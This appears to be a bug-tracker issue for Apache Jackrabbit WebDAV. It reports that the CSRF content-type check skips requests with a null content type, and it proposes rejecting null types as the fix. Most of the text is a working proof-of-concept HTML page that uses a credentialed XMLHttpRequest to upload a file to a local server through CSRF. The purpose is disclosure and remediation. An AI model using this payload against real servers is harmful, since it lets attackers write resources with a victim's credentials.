Details
Description
As per [0] the CSRF content-type check does not include a null request content type. This can be exploited to create a resource via CSRF like so:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:42427/test/csrf.txt", true);
xhr.withCredentials = true;
var body = "This file has been uploaded via CSRF.=\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
I will mitigate this particular issue by including a null content type in the list of rejected content types.
Attachments
Attachments
Issue Links
- breaks
-
JCR-4009 CSRF in Jackrabbit-Webdav (CVE-2016-6801)
-
- Closed
-
- is related to
-
-
- Resolved
-
- relates to
-
-
- Closed
-